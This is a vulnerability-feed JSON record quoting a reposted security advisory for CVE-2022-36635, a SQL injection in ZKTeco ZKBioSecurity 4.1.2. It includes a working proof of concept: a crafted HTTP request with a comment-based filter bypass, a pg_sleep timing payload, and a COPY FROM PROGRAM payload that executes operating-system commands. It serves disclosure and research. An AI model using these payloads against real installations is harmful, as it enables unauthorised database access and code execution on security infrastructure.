{"uuid": "70a5c95c-ffc4-4ee5-bbc7-8966297667d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36635", "type": "seen", "source": "https://t.me/hacking_Attack/71341", "content": "Exploit Collector\nZKSecurity BIO 4.1.2 SQL Injection / Code Execution\n\nhttps://1.bp.blogspot.com/-gLNlUWq63_8/WWlvGRw0eoI/AAAAAAAAILQ/4OYXBaTeiPkRlDYcEes6gWLLrvO9LjoiQCLcBGAs/s1600/h138.png \nZKSecurity BIO version 4.1.2 suffers from a remote SQL injection vulnerability that can allow for remote code execution.\n\nSHA-256 | 2f5ddba7cf7e3024ddc6ad5a39968b8c149a652831c65c828f1565ea29f0e84d\n\nDownload\n#######################ADVISORY INFORMATION#######################\n\nProduct: ZKSecurity BIO\n\nVendor: ZKTeco (\nhttps://www.zkteco.com/en/ZKBiosecurity/ZKBioSecurity_V5000_4.1.2)\n\nVersion Affected: 4.1.2\n\nCVE: CVE-2022-36635\n\nVulnerability: SQL Injection (with a plus: RCE)\n\n#######################CREDIT#######################\n\nThis vulnerability was discovered and researched by Caio Burgardt and\nSilton Santos.\n\n#######################INTRODUCTION#######################\n\nBased on the hybrid biometric technology and computer vision technology,\nZKBioSecurity provides a comprehensive web-based security platform. It\ncontains multiple integrated modules: personnel, time & attendance, access\ncontrol, visitor management, offline & online consumption management, guard\npatrol, parking, elevator control, entrance control, Facekiosk, intelligent\nvideo management, mask and temperature detection module, and other smart\nsub-systems.\n\n#######################VULNERABILITY DETAILS#######################\n\nThe parameters opTimeBegin e opTimeEnd are simply concatenated to the SQL\nquery, with only a sanitization filter in front of it. Using comments\n(/**/) in place of spaces was enough to confuse and bypass the filter.\n\n#######################PROOF OF CONCEPT#######################\n\nNote that the request delayed 10s:\n\nPOST /baseOpLog.do HTTP/1.1\n\nHost: {HOST}\n\nContent-Type: application/x-www-form-urlencoded\n\nCookie: SESSION={COOKIE}; menuType=icon-only\n\nContent-Length: 208\n\nlist&pageSize=50&opTimeBegin=2022-06-26%2000:00:00')/**/tmp_count;select/**/pg_sleep(10);/**/select+1+from+BASE_OPLOG/**/WHERE/**/'1'='1&opTimeEnd=2022-09-26%2023:59:59&sortName=&sortOrder=&posStart=0&count=50\n\nif you use the next query, you can execute remote command:\n\nlist&pageSize=50&opTimeBegin=2022-04-11%2000:00:00&opTimeEnd=2022-07-11%2023:59:59')/**/tmp_count;DROP/**/TABLE/**/IF/**/EXISTS/**/cmd_exec;CREATE/**/TABLE/**/cmd_exec/**/(cmd_output/**/text);COPY/**/cmd_exec/**/FROM/**/PROGRAM/**/'ping+domain';SELECT/**/*/**/FROM/**/cmd_exec;/**/SeLECT/**/count/**/(1)/**/fRom/**/(SeLECT/**/t.CREATE_TIME/**/fROM/**/BASE_OPLOG/**/t/**/where/**/'1'='\n#######################END#######################\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:36.511505Z"}